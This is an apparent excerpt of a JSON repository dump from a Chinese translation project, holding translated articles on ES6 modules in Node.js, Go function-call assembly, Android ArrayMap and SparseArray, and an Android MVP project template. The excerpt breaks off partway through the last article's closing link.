[掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/an-update-on-es6-modules-in-node-js.md",
    "content": "> * 原文地址：[An Update on ES6 Modules in Node.js ](https://medium.com/@jasnell/an-update-on-es6-modules-in-node-js-42c958b890c#.o3doprfmu)\n* 原文作者：[James M Snell](https://medium.com/@jasnell?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[hikperpig](https://github.com/hikerpig)\n* 校对者：[showd0wn](https://github.com/showd0wn), [Tina92](https://github.com/Tina92)\n\n# Node.js 支持 ES6 模块的进展 #\n\n（译者注：作者 James M Snell 任职于 IBM，是 Node.js 项目的核心贡献者之一）\n\n几个月前我写了篇[文章](https://hackernoon.com/node-js-tc-39-and-modules-a1118aecf95e)阐述 Node.js 现有的 CommonJS 模块系统与 ES6 模块系统的一些区别，以及由此产生的在 Node.js 中实现 ES6 模块系统的挑战。本文将跟进相关进展。\n\n### 何时知晓 ###\n\n如果你没有读过我之前的文章，在继续阅读之前，建议你[看一下](https://hackernoon.com/node-js-tc-39-and-modules-a1118aecf95e)，里面描述了两种模块系统架构一些重大差异。简单来说：CommonJS 和 ES6 模块的根本差异在于模块结构解析完全并能够在其他代码里使用的时机。\n\n例如，有如下简单的 CommonJS 模块，姑且称为 `foobar` 模块。\n\n```\nfunction foo() {\n  return 'bar';\n}\nfunction bar() {\n  return 'foo';\n}\nmodule.exports.foo = foo;\nmodule.exports.bar = bar;\n```\n\n现在我们用一个 `app.js` 文件引用此模块：\n\n```\nconst {foo, bar} = require('foobar');\nconsole.log(foo(), bar());\n```\n\n在命令行里执行 `node app.js` 时，Node.js 程序读取并开始解析 `app.js` 文件的内容，执行代码。执行期间 `require()` 函数被调用，**同步**地读取 `foobar.js` 内容载入内存，**同步**解析和编译 JavaScript 代码，而后**同步**执行代码，将 `module.exports` 的返回值 `app.js` 中 `require('foobar')` 的值。`app.js` 中的 `require()` 函数执行完后，`foobar` 模块的结构已知并能被调用。以上所有的一切全发生在 Node.js 事件循环的一次执行中。\n\n理解 CommonJS 和 ES6 差异的重要一点，在于 CommonJS 模块的结构（模块的 API）在模块代码执行完之前是未知的，即便在执行完后，其结构也随时能被其他代码更改。\n\n以下是在 ES6 语法下的“等效”模块:\n\n```\nexport function foo() {\n  return 'bar';\n}\n\nexport function bar() {\n  return 'foo';\n}\n```\n\n调用的代码如下：\n\n```\nimport {foo, bar} from 'foobar';\nconsole.log(foo());\nconsole.log(bar());\n```\n\n根据 ECMAScript 标准，ES6 模块与 CommonJS 实现步骤有很大差异。第一步，从硬盘读取文件内容的步骤大体相同，不过有可能是**异步**的。得到内容后进行解析时，决定\b模块结构的 `export` 声明，**优先** 于代码的执行。在结构定义完了以后，才执行代码。很重要的一点是，所有的 `import` 和 `export` 声明指向的目标在代码执行前就都确定了。还有一点，ES6 标准允许分解的步骤**异步**进行。对 Node.js 来说，意味着读取脚本内容、解析模块引用关系、执行模块代码这些步骤可以在事件循环中轮番进行。\n\n### 时机决定一切 ###\n\n我们实现 ES6 模块标准时的一个主要目标，是尽可能地无缝切换。我们希望能够同时兼容两种标准，且对使用者隐藏两种标准细节的差别，例如 `require('es6-module')` 和 `import from 'commonjs-module'` 都能正常工作。\n\n不幸的是，事情没那么简单。\n\n由于 ES6 模块的读取和解析都是异步的，这就不可能 `require()` 一个 ES6 模块，因为 `require()` 是个同步的函数。若通过改变 `require()` 函数的语义去支持异步加载，会让整个社区闹得鸡犬不宁。因此我们考虑过写一个 `require.import()` 作为 ES6 [提议](https://github.com/tc39/proposal-dynamic-import)的 `import()` 函数实现。该函数返回一个 `Promise` 对象, 其于 ES6 模块载入完成时解决 (resolve) 。虽说这不是最理想的方案，但起码能在现有的 CommonJS 风格 Node.js 代码中使用 ES6 模块。\n\n一个小小好消息是，在 ES6 模块中通过 `import` 声明使用 CommonJS 模块应该变得很容易。因为并不总强制异步加载。为更好支持此点，ECMAScript 语言标准将会有一些更改，不过当一切稳定下来后，肯定是能正常使用的。\n\n但是可能有个巨大的坑……\n\n### 哎妈呀，可怜的具名引入 ###\n\n具名引入 (named import) 是 ES6 模块系统的重要功能，如下例：\n\n```\nimport {foo, bar} from 'foobar';\n```\n\n从 `foobar` 模块中引入 `foo` 和 `bar` 变量，这些发生在模块解析阶段 - 在任何实际代码执行**之前**。因为在 ES6 中模块结构是预先定义的。\n\n然而在 CommonJS 中，模块结构在代码执行完之前是未定的。意味着若不大改 ECMAScript 语言标准，不可能具名引入一个 CommonJS 模块的内容。无奈之下，开发者不得不使用 ES6 模块中的 'default' 暴露声明。例如，使用本文开头的 CommonJS 模块样例代码，引入的代码要这样写：\n\n```\nimport foobar from 'foobar';\nconsole.log(foobar.foo(), foobar.bar());\n```\n\n与之前有微小但及其重要的差别。使用 `import` 声明来引入 CommonJS 模块的时候，没法使用如下写法来将 `foo` 和 `bar` 指向 CommonJS 模块暴露的 `foo()` 和 `bar()` 函数。\n\n```\nimport {foo, bar} from 'foobar';\n```\n\n### 但在 Babel 中还是可以用的 ###\n\n正在使用像 Babel 之类的转译工具的人，使用 ES6 模块语法时多半熟悉其具名引入特性。Babel 将 ES6 代码转换为能在 Node.js 中使用的 CommonJS 风格代码。语法和 ES6 似乎一样，但具体**实现却不是**。理解这点很重要：Babel 处理 ES6 具名引入的方式和完整遵循 ES6 标准要求的实现根本不是一回事。\n\n### Michael Jackson Script ###\n\nCommonJS 和 ES6 模块的另一个根本区别在于，ECMAScript 编译器在载入模块之前需要知道它属于哪种模块系统。因为 ES6 模块中的 `export` 和 `import` 声明需要在运行代码之前解析。\n\n这就要求 Node.js 要有预先探知文件模块类型的机制。在多种方案中挣扎后，我们觉得闹心程度最低的是引入一个新的 `*.mjs` 扩展名（过去曾被我们深情地称为 'Michael Jackson Script'）来显式标记该 JavaScript 文件使用 ES6 模块标准处理。\n\n换句话说，对待两个文件 `foo.js` 和 `bar.mjs`，使用 `import * from 'foo'` 会将 `foo.js` 当作 CommonJS 模块引入，而使用 `import * from 'bar'` 会将 `bar.mjs` 当作 ES6 模块。\n\n### 时间规划 ###\n\n目前，在 ES6 和虚拟机层面的标准和实现还需要许多更改，Node.js 才能开始尝试支持 ES6 模块。相关工作已经开始，但离完成还要等一段时间，我们估计**至少**要一年。\n"
  },
  {
    "path": "TODO/anatomy-of-a-function-call-in-go.md",
    "content": "> * 原文地址：[Anatomy of a function call in Go](https://syslog.ravelin.com/anatomy-of-a-function-call-in-go-f6fc81b80ecc#.povigaliw)\n> * 原文作者：[Phil Pearl](https://syslog.ravelin.com/@philpearl?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[xiaoyusilen](http://xiaoyu.world)\n> * 校对者：[1992chenlu](https://github.com/1992chenlu)，[Zheaoli](https://github.com/Zheaoli)\n\n# 解析 Go 中的函数调用 #\n\n让我们来看一些简单的 Go 的函数，然后看看我们能否明白函数调用是怎么回事。我们将通过分析 Go 编译器根据函数生成的汇编来完成这件事。对于一个小小的博客来讲，这样的目标可能有点不切实际，但是别担心，汇编语言很简单。哪怕是 CPU 都能读懂。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*CKK4XrLm3ylzsQzNbOaroQ.png\">\n\n图片来自 Rob Baines [https://github.com/telecoda/inktober-2016](https://github.com/telecoda/inktober-2016)\n\n这是我们的第一个函数。对，我们只是让两个数相加。\n\n```\nfunc add(a, b int) int {\n        return a + b\n}\n```\n\n我们编译的时候需要关闭优化，这样方便我们去理解生成的汇编代码。我们用 `go build -gcflags 'N -l'` 这个命令来完成上述操作。然后我们可以用 `go tool objdump -s main.add func` 输出我们函数的具体细节（这里的 func 是我们的包名，也就是我们刚刚用 go build 编译出的可执行文件）。\n\n如果你之前没有学过汇编，那么恭喜你，你将接触到一个全新的事物。另外我会在 Mac 上完成这篇博客的代码，因此所生成的是 Intel 64-bit 汇编。\n\n```\n main.go:20 0x22c0 48c744241800000000 MOVQ $0x0, 0x18(SP)\n main.go:21 0x22c9 488b442408  MOVQ 0x8(SP), AX\n main.go:21 0x22ce 488b4c2410  MOVQ 0x10(SP), CX\n main.go:21 0x22d3 4801c8   ADDQ CX, AX\n main.go:21 0x22d6 4889442418  MOVQ AX, 0x18(SP)\n main.go:21 0x22db c3   RET\n```\n\n现在我们看到了什么？如下所示，每一行被分为了4部分：\n\n- 源文件的名称和行号（main.go:15）。这行的源代码会被转换为标有代码行号的说明。Go 的一行可能被转换成多行程序集。\n- 目标文件中的偏移量（例如 0x22C0）。\n- 机器码（例如 48c744241800000000）。这是 CPU 实际执行的二进制机器码。我们不需要看这个，几乎没有人看这玩意。\n- 机器码的汇编表示形式，这也是我们想要理解的部分。\n\n让我们将注意力集中在最后一部分，汇编语言。\n\n- MOVQ，ADDQ 和 RET 是指令。它们告诉 CPU 需要执行的操作。后面的参数告诉 CPU 对什么执行该操作。\n- SP，AX 和 CX 是 CPU 寄存器。寄存器是 CPU 用于存储值的地方，CPU 有多个寄存器可以使用。\n- SP 是一个专用寄存器，用于存储当前堆栈指针。堆栈是记录局部变量，参数和函数调用的寄存器。每个 goroutine 都有一个堆栈。当一个函数调用另一个函数，然后另一个函数再调用其他函数，每个函数在堆栈上获得自己的存储区域。在函数调用期间创建存储区域，将 SP 的大小中减去所需的存储大小。\n- 0x8（SP）是指超过 SP 指向的存储单元的 8 个字节的存储单元。\n\n因此，我们的工作的内容包含存储单元，CPU 寄存器，用于在存储器和寄存器之间移动值的指令以及寄存器上的操作。 这几乎就是一个 CPU 所完成的事情了。\n\n现在让我们从第一条指令开始看每一条内容。别忘了我们需要从内存中加载两个参数 `a` 和 `b`，把它们相加，然后返回至调用函数。\n\n1. `MOVQ $0x0, 0x18(SP)` 将 0 置于存储单元 SP+0x18 中。 这句代码看起来有点抽象。\n2. `MOVQ 0x8(SP), AX` 将存储单元 SP+0x8 中的内容放到 CPU 寄存器 AX 中。也许这就是从内存中加载的我们所使用的参数之一？\n3. `MOVQ 0x10(SP), CX` 将存储单元 SP+0x10 的内容置于 CPU 寄存器 CX 中。 这可能就是我们所需的另一个参数。\n4. `ADDQ CX, AX` 将 CX 与 AX 相加，将结果存到 AX 中。好，现在已经把两个参数相加了。\n5. `MOVQ AX, 0x18(sp)` 将寄存器 AX 的内容存储在存储单元 SP+0x18 中。这就是在存储相加的结果。\n6. `RET` 将结果返回至调用函数。\n\n记住我们的函数有两个参数 `a` 和 `b`，它计算了 `a+b` 并且返回了结果。`MOVQ 0x8(SP), AX` 将参数 `a` 移到 AX 中，在 SP+0x8 的堆栈中 `a` 将被传给函数。`MOVQ 0x10(SP), CX` 将参数 `b` 移到 CX 中，在 SP+0x10 的堆栈中 `b` 将被传给函数。`ADDQ CX, AX` 使 `a` 和 `b` 相加。`MOVQ AX, 0x18(SP)` 将结果存储到 SP+0x18 中。 现在相加的结果被存储在 SP+0x18 的堆栈中，当函数返回调用函数时，可以从栈中读取结果。\n\n我假设 `a` 是第一个参数，`b` 是第二个参数。我不确定是不是这样。我们需要花一点时间来完成这件事，但是这篇文章已经很长了。\n\n那么有点神秘的第一行代码究竟是做什么用的？`MOVQ $0X0, 0X18(SP)` 将 0 存储至 SP+0x18 中，而 SP+0x18 是我们存储相加结果的地方。我们可以猜测，这是因为 Go 把没有初始化的值设置为 0 ，我们已经关闭了优化，即使没有必要，编译器也会执行这个操作。\n\n所以我们从中明白了什么：\n\n- 好，看起来参数都存在堆栈中，第一个参数存储在 SP+0x8 中，另一个在更高编号的地址中。\n- 并且看上去返回的结果存储在参数后边，一个更高编号的地址中。\n\n现在让我们看另一个函数。这个函数有一个局部变量，不过我们依然会让它看起来很简单。\n\n```\nfunc add3(a int) int {\n    b := 3\n    return a + b\n}\n```\n\n我们用和刚才一样的过程来获取程序集列表。\n\n```\nTEXT main.add3(SB) \n/Users/phil/go/src/github.com/philpearl/func/main.go\n main.go:15 0x2280 4883ec10  SUBQ $0x10, SP\n main.go:15 0x2284 48896c2408  MOVQ BP, 0x8(SP)\n main.go:15 0x2289 488d6c2408  LEAQ 0x8(SP), BP\n main.go:15 0x228e 48c744242000000000 MOVQ $0x0, 0x20(SP)\n \n main.go:16 0x2297 48c7042403000000 MOVQ $0x3, 0(SP)\n \n main.go:17 0x229f 488b442418  MOVQ 0x18(SP), AX\n main.go:17 0x22a4 4883c003  ADDQ $0x3, AX\n main.go:17 0x22a8 4889442420  MOVQ AX, 0x20(SP)\n main.go:17 0x22ad 488b6c2408  MOVQ 0x8(SP), BP\n main.go:17 0x22b2 4883c410  ADDQ $0x10, SP\n main.go:17 0x22b6 c3   RET\n```\n\n喔！看起来有点复杂。让我们来试试。\n\n前4条指令是根据源代码中的第15行列出的。这行代码是这样的：\n\n```\nfunc add3(a int) int {\n```\n\n这一行代码似乎没有做什么。所以这可能是一种声明函数的方法。让我们分析一下。\n\n- `SUBQ $0x10, SP` 从 SP 减去 0x10=16。这个操作为我们释放了 16 字节的堆栈空间\n- `MOVQ BP, 0x8(SP)` 将寄存器 BP 中的值存储至 SP+8 中，然后 `LEAQ 0x8(SP), BP` 将地址 SP+8 中的内容加载到 BP 中。现在我们已经有空间可以存储 BP 中之前所存的内容，然后将 BP 中的内容存储至刚刚分配的存储空间中，这有助于建立堆栈区域链（或者堆栈框架）。这有点神秘，不过在这篇文章中我们恐怕不会解决这个问题。\n- 在这一部分的最后是 `MOVQ $ 0x0, 0x20 (SP)`，它和我们刚刚分析的最后一句类似，就是将返回值初始化为0。\n\n下一行对应的是源码中的 `b := 3`，`MOVQ $03x, 0(SP)` 把 3 放到 SP+0 中。这解决了我们的一个疑惑。当我们从 SP 中减去 0x10 = 16 时，我们得到了可以存储两个 8 字节值的空间：我们的局部变量 `b` 存储在 SP+0 中，而 BP 之前的值存储在 SP+0x08 中。\n\n接下来的 6 行程序集对应于 `return a + b`。这需要从内存中加载 `a` 和 `b`，然后将它们相加，并且返回结果。让我们依次看看每一行。\n\n- `MOVQ 0x18(SP), AX` 将存储在 SP+0x18 的参数 `a` 移动到寄存器 AX 中\n- `ADDQ $0x3, AX` 将 3 加到 AX（由于某些原因，它不使用我们存储在 SP+0 的局部变量 `b`，尽管编译时优化被关闭了）\n- `MOVQ AX, 0x20(SP)` 将 `a+b` 的结果存储到 SP+0x20 中，也就是我们返回结果所存的地方。\n- 接下来我们得到的是 `MOVQ 0x8(SP), BP` 以及 `ADDQ $0x10, SP`，这些将恢复BP的旧值，然后将 0x10 添加到 SP，将其设置为该函数开始时的值。\n- 最后我们得到了 `RET`，将要返回给调用函数的。\n\n所以我们从中学到了什么呢？\n\n- 调用函数在堆栈中为返回值和参数分配空间。返回值的存储地址比参数的存储地址高。\n- 如果被调用函数有局部变量，则通过减少堆栈指针 SP 的值为它们分配空间。它也和寄存器 BP 做了一些神秘的事情。\n- 当函数返回任何对 SP 和 BP 的操作都会相反。\n\n让我们看看堆栈在 add3() 方法中如何使用：\n\n```\nSP+0x20: the return value\n\n\nSP+0x18: the parameter a\n\n\nSP+0x10: ??\n\n\nSP+0x08: the old value of BP\n\nSP+0x0: the local variable b\n```\n\n如果你觉得文章中没有提到 SP+0x10，所以不*知道*这是干什么用的。我可以告诉你，这是存储返回地址的地方。这是为了让 `RET` 指令知道返回到哪里去。\n\n这篇文章已经足够了。 希望如果以前你不知道这些东西如何工作，但是现在你觉得你已经有了一些了解，或者如果你被汇编吓倒了，那么也许它不那么晦涩难懂了。 如果你想了解有关汇编的更多信息，请在评论中告诉我，我会考虑\b在之后的文章中写出来。\n\n既然你已经看到这儿了，如果喜欢我的这篇文章或者可以从中学到一点什么的话，那么请给我点个赞这样这篇文章就可以被更多人看到了。"
  },
  {
    "path": "TODO/android-app-optimization-using-arraymap-and-sparsearray.md",
    "content": "> * 原文地址：[Android App Optimization Using ArrayMap and SparseArray](https://medium.com/@amitshekhar/android-app-optimization-using-arraymap-and-sparsearray-f2b4e2e3dc47#.w9iubhupn)\n* 原文作者：[Amit Shekhar](https://medium.com/@amitshekhar)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Jamweak](https://github.com/jamweak)\n* 校对者：[Jacksonke](https://github.com/jacksonke), [Siegeout](https://github.com/siegeout)\n\n# 如何通过 ArrayMap 和 SparseArray 优化 Android App\n\n\n这篇文章会讲述为何要使用 **ArrayMap** 和 **SparseArray** 来优化 Android 应用，以及什么情形下适用。\n\n当你需要存储**键 -> 值**这样的数据类型时，你脑海里想到的第一个数据类型应该是 **HashMap**。然后你开始肆无忌惮地到处使用它，而从不考虑它所带来的副作用。\n\n当你使用 HashMap 时，你的 Android 集成开发环境 (Android Studio) 会给出警告，提示你使用 ArrayMap 来代替 HashMap，但通常被你忽视了。\n\nAndroid 给你提供了 ArrayMap，你应该优先考虑使用它而不是 HashMap。\n\n现在，让我们来理解 ArrayMap 的内部实现，以便探求在哪种场景下使用它，以及为什么这样做。\n\n#### HashMap vs ArrayMap\n\n\nHashMap 的位置在 _java.util.HashMap_ 包中。\n\nArrayMap 的位置在 _android.util.ArrayMap_ 和 _android.support.v4.util.ArrayMap_ 包中。\n\n它存在于 support.v4 包中，以便兼容较低的 Android 版本。\n\n[这里](https://www.youtube.com/watch?v=ORgucLTtTDI) 是直接出自 Android 开发者频道的 youtube 视频，强烈建议你看一下。\n\nArrayMap 是一种通用的键->值映射数据结构，它在设计上比传统的 HashMap 更多考虑内存优化。 它使用两个数组来存储数据——一个整型数组存储键的哈希值，另一个对象数组存储键/值对。这样既能避免为每个存入 map 中的键创建额外的对象，还能更积极地控制这些数组的长度的增加（因为增加长度只需拷贝数组中的键，而不是重新构建一个哈希表）。\n\n需要注意的是，ArrayMap 并不适用于可能含有大量条目的数据类型。它通常比 HashMap 要慢，因为在查找时需要进行二分查找，增加或删除时，需要在数组中插入或删除键。对于一个最多含有几百条目的容器来说，它们的性能差异并不巨大，相差不到 50%。\n\n#### HashMap\n\nHashMap 基本上就是一个 HashMap.Entry 的数组（Entry 是 HashMap 的一个内部类）。更准确来说，Entry 类中包含以下字段：\n\n*   一个非基本数据类型的 key\n*   一个非基本数据类型的 value\n*   保存对象的哈希值\n*   指向下一个 Entry 的指针\n\n当有键值对插入时，HashMap 会发生什么 ?\n\n*   首先，键的哈希值被计算出来，然后这个值会赋给 Entry 类中对应的 hashCode 变量。\n*   然后，使用这个哈希值找到它将要被存入的数组中“桶”的索引。\n*   如果该位置的“桶”中已经有一个元素，那么新的元素会被插入到“桶”的头部，next 指向上一个元素——本质上使“桶”形成链表。\n\n现在，当你用 key 去查询值时，时间复杂度是 O(1)。\n\n虽然时间上 HashMap 更快，但同时它也花费了更多的内存空间。\n\n缺点:\n\n*   自动装箱的存在意味着每一次插入都会有额外的对象创建。这跟垃圾回收机制一样也会影响到内存的利用。\n*   HashMap.Entry 对象本身是一层额外需要被创建以及被垃圾回收的对象。\n*   “桶” 在 HashMap 每次被压缩或扩容的时候都会被重新安排。这个操作会随着对象数量的增长而变得开销极大。\n\n在Android中，当涉及到快速响应的应用时，内存至关重要，因为持续地分发和释放内存会出发垃圾回收机制，这会拖慢应用运行。\n\n**垃圾回收机制会影响应用性能表现**\n\n垃圾回收时间段内，应用程序是不会运行的，最终应用使用上就显得卡顿。\n\n#### ArrayMap\n\nArrayMap 使用2个数组。它的对象实例内部有用来存储对象的 Object[] mArray 和 存储哈希值的 int[] mHashes。当插入一个键值对时：\n\n*   键/值被自动装箱。\n*   键对象被插入到 mArray[] 数组中的下一个空闲位置。\n*   值对象也会被插入到 mArray[] 数组中与键对象相邻的位置。\n*   键的哈希值会被计算出来并被插入到 mHashes[] 数组中的下一个空闲位置。\n\n对于查找一个 key :\n\n*   键的哈希值先被计算出来\n*   在 mHashes[] 数组中二分查找此哈希值。这表明查找的时间复杂度增加到了 O(logN)。\n*   一旦得到了哈希值所对应的索引 index，键值对中的键就存储在 mArray[2*index] ，值存储在  mArray[2*index+1]。\n*   这里的时间复杂度从 O(1) 上升到 O(logN)，但是内存效率提升了。当我们在 100 左右的数据量范围内尝试时，没有耗时的问题，察觉不到时间上的差异，但我们应用的内存效率获得了提高。\n   \n#### 推荐的数据结构:\n\n*   **ArrayMap&lt;K,V> 替代 HashMap&lt;K,V>**\n*   **ArraySet&lt;K,V> 替代 HashSet&lt;K,V>**\n*   **SparseArray&lt;V> 替代 HashMap&lt;Integer,V>**\n*   **SparseBooleanArray 替代 HashMap&lt;Integer,Boolean>**\n*   **SparseIntArray 替代 HashMap&lt;Integer,Integer>**\n*   **SparseLongArray 替代 HashMap&lt;Integer,Long>**\n*   **LongSparseArray&lt;V> 替代 HashMap&lt;Long,V>**\n"
  },
  {
    "path": "TODO/android-basic-project-architecture-for-mvp.md",
    "content": "> * 原文链接: [Android Basic Project Architecture for MVP — mobiwise blog — Medium](https://medium.com/mobiwise-blog/android-basic-project-architecture-for-mvp-72f4b33252d0#.ha8kjbx3w)\n* 原文作者 : [MuratCanBur](https://medium.com/@muratcanbur)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [foolishgao](https://github.com/foolishgao)\n* 校对者 : [kassadin](https://github.com/kassadin)、[Sausure](https://github.com/Sausure)\n* 状态 : 完成\n\n# Android 的一个 MVP 基础项目模板\n\n迄今为止，我阅读了很多有关Android软件开发中结构设计的文章。以我对他们的认识，比较好的方法是实现**MVP(Model View Presenter)**模式，这对Android开发者也是非常重要的。\n\n我在其他开发者的技术博客和项目中学到了一些有用的东西，现在我决定开发一个基本的项目架构来用于实现我们的客户端软件[mobiwise](https://medium.com/u/8d64c93a5e63). 我选择了MVP模式作为项目架构，让我们开始了解一下。\n\n\n![](https://cdn-images-1.medium.com/max/800/1*OX-xyuKXFOyQSdUKNZRGVg.jpeg)\n\n\n#### 什么是MVP?\n\n你能在网上找到很多MVP相关解释和定义，让我来说一下我对MVP的理解。MVP是一种分离**展示层和业务逻辑层的模式，使两者独立存在**的模式。我相信分离这些部分的代码的过程属实令人厌烦。\n\n为了这个实践，我们应该在项目中提供出各个抽象层。\n\n### 层\n\n为了使项目易于理解，我们首先做的是抽象出各个层面。这对开发测试和维护代码都非常重要。在任何Android项目中为了开发需要都会抽象出很多层，这里我说下重点！\n\n项目中特有的业务逻辑部分，这里称之为**Domain layer**, 数据模型、网络相关、数据库操作部分，这里称之为**Model layer**，只有Android特有的部分，称之为**Presentation or App Layer。** 最后一个，也很重要，用于第三方library或者项目中共用的、基础工具类等，称之 **Common Layer.**\n\n我觉得，抽象出这么多层，在开始阶段，似乎难以理解和实现。\n\n\n![](https://cdn-images-1.medium.com/max/800/1*fpnNs0T_yWslrfkrQrlv1Q.jpeg)\n\n\n#### Domain Layer\n\n这一层是完全独立的因为它指定了**特定项目**的业务逻辑。就我在网上查阅过的资料，这一层有个差不多的实现方式。根据项目的命名规则，定义出项目业务逻辑的**用例接口**，在创建出**用例控制实现类**来实现这个接口做相对应的工作。\n\n让我们试想一个新闻应用程序，并试着定义个基本的业务**用例**场景。我定义了一个基本的业务用例接口，一个很简单的场景用例接口。\n\n```java\npublic interface GetPopularTitlesUsecase extends Usecase {\n\n  void getPopularTitles();\n\n  void onPopularTitlesReceived(ArrayList<Title> title);\n\n  void sendToPresenter();\n}\n```\n\n定义好接口，开始写class来实现**GetPopularTitlesUsecase**。下面是个基本的实现类。\n\n```java\npublic class GetPopularTitlesUsecaseController implements GetPopularTitlesUsecase {\n\n\n  private List<Title> titleList;\n\n  public GetPopularTitlesUsecaseController() {\n    BusUtils.getRestBusInstance().register(this);\n  }\n\n  @Override\n  public void getPopularTitles() {\n    SyncService.start();\n  }\n\n  @Subscribe\n  @Override\n  public void onPopularTitlesReceived(ArrayList<Title> titleList) {\n    this.titleList = titleList;\n    sendToPresenter();\n  }\n\n  @Override\n  public void sendToPresenter() {\n    BusUtils.getUIBusInstance().post(titleList);\n    BusUtils.getRestBusInstance().unregister(this);\n  }\n\n  @Override\n  public void execute() {\n    getPopularTitles();\n  }\n}\n```\n\n\n#### Model Layer\n\n开发者都知道的，在项目中必须有一个Model Layer来处理**网络请求和数据库存取**相关的工作。我一般把这些部分的代码分成三个包，分别叫entity, rest和database。对于大部分项目分成这样已经足够。也许你需要创建有别于数据层的业务相关层。比如，你想展示用户的全称，就不应该通过在数据层中获取用户的姓和用户的名再通过指定的adapter类或者view类等方式做一个拼接处理，这很笨拙，此时应该定义业务层来实现这个操作。定义两个不同的数据层很笨拙。但是仍然重要。\n\n#### Presentation or App Layer\n\n这是最基本和熟知的抽象层，指代了Android程序开发中特有组件的部分。\n\n##View\n\nView在MVP中代表UI组件部分。\n\n```java\npublic interface PopularTitlesView extends MVPView {\n\n  void showTitles(List<Title> titleList);\n\n  void showLoading();\n\n  void hideLoading();\n}\n```\n\n\n#### Presenter\n\nPresenter在MVP中类似于连接**view和model**的桥梁。常用的实现方式，我们需要创建model接口来处理特定的场景。\n\n```java\npublic interface RadioListPresenter extends Presenter {\n  void loadRadioList();\n\n  void onRadioListLoaded(RadioWrapper radioWrapper);\n}\n```\n创建完简单的RadioListPresenter接口，我们来实现这个接口。\n\n\n```java\npublic class RadioListPresenterImp implements RadioListPresenter {\n\n  RadioListView radioListView;\n\n  GetRadioListUsecase getRadioListUsecase;\n\n  Bus uiBus;\n\n  @Inject\n  public RadioListPresenterImp(GetRadioListUsecase getRadioListUsecase, Bus uiBus) {\n    this.getRadioListUsecase = getRadioListUsecase;\n    this.uiBus = uiBus;\n  }\n\n  @Override\n  public void loadRadioList() {\n    radioListView.showLoading();\n    getRadioListUsecase.execute();\n  }\n\n  @Subscribe\n  @Override\n  public void onRadioListLoaded(RadioWrapper radioWrapper) {\n    radioListView.onListLoaded(radioWrapper);\n    radioListView.dismissLoading();\n  }\n\n  @Override\n  public void start() {\n    uiBus.register(this);\n  }\n\n  @Override\n  public void stop() {\n    uiBus.unregister(this);\n  }\n\n  @Override\n  public void attachView(MVPView mvpView) {\n    radioListView = (RadioListView) mvpView;\n  }\n}\n```\n\n\n**所有以上这些来自我们代码中的例子，只是一个简单的实现。这些都不绝对完全也不是最好的，不同的项目需要不同的方式来实践，要视情况而定。**\n\n### 如何实践\n\n每一个Activity,Fragment要根据逻辑功能来实现一个View接口，以我项目中的例子来说，RadioListFragment应该实现**RadioListView**接口，覆写相关的方法并让相关的presentar的方法来处理对应逻辑。\n\n```java\npublic class RadioListFragment extends Fragment implements RadioListView, SwipeRefreshLayout.OnRefreshListener {\n\n  @Inject\n  RadioListPresenter radioListPresenter;\n\n  public RadioListFragment() {\n  }\n\n  public static RadioListFragment newInstance() {\n    RadioListFragment fragment = new RadioListFragment();\n    return fragment;\n  }\n\n  @Override\n  public void onCreate(@Nullable Bundle savedInstanceState) {\n    super.onCreate(savedInstanceState);\n    BusUtil.BUS.register(this);\n    initializeInjector();\n  }\n\n  @Override\n  public void onActivityCreated(@Nullable Bundle savedInstanceState) {\n    super.onActivityCreated(savedInstanceState);\n    radioListPresenter.loadRadioList();\n  }\n\n  private void initializeInjector() {\n    RadyolandApp app = (RadyolandApp) getActivity().getApplication();\n\n    DaggerGetRadioListComponent.builder()\n        .appComponent(app.getAppComponent())\n        .getRadioListModule(new GetRadioListModule())\n        .build()\n        .inject(this);\n  }\n\n  @Override\n  public View onCreateView(LayoutInflater inflater, ViewGroup container,\n                           Bundle savedInstanceState) {\n    View view = inflater.inflate(R.layout.fragment_radio_list, container, false);\n    ButterKnife.bind(this, view);\n    BusUtil.BUS.post(new TitleEvent(R.string.radio_list));\n    radioListPresenter.start();\n    radioListPresenter.attachView(this);\n    return view;\n  }\n\n\n  @Override\n  public void showLoading() {\n    swipeRefresh.setRefreshing(true);\n  }\n\n  @Override\n  public void dismissLoading() {\n    swipeRefresh.setRefreshing(false);\n  }\n\n  @Override\n  public void onListLoaded(RadioWrapper radioWrapper) {\n    radioListAdapter.setRadioList(radioWrapper.radioList);\n    radioListAdapter.notifyDataSetChanged();\n    DatabaseUtil.saveRadioList(radioWrapper.radioList);\n  }\n\n  @Subscribe\n  public void RefreshRadioListEvent(RefreshRadioListEvent radioListEvent) {\n    radioListPresenter.loadRadioList();\n  }\n\n  @Override\n  public void onDestroy() {\n    super.onDestroy();\n    BusUtil.BUS.unregister(this);\n  }\n\n  @Override\n  public void onRefresh() {\n    radioListPresenter.loadRadioList();\n  }\n```\n\n#### 包组织结构的想法\n\n当我第一次在网上搜索这方面的内容时，我发现很多开发者给每一层都分别创建了不同的modules。这个方法似乎适用于很多开发者，但是我不喜欢。是为什么我没有这么做的原因。我给每个module或者层创建了不同的包，相信这不适用于所有人，只是我的方式，我感觉这样很舒服。\n\n![](http://ww3.sinaimg.cn/large/005SiNxyjw1eymj1ql90mj30cd0lwmyn.jpg)\n\n\n### 值得一提\n\n最后，我写了Android-base-project项目\n\n[**mobiwiseco/Android-Base-Project** _Android-Base-Project - An Android Base Project which can be example for every Android project._github.com](https://github.com/mobiwiseco/Android-Base-Project 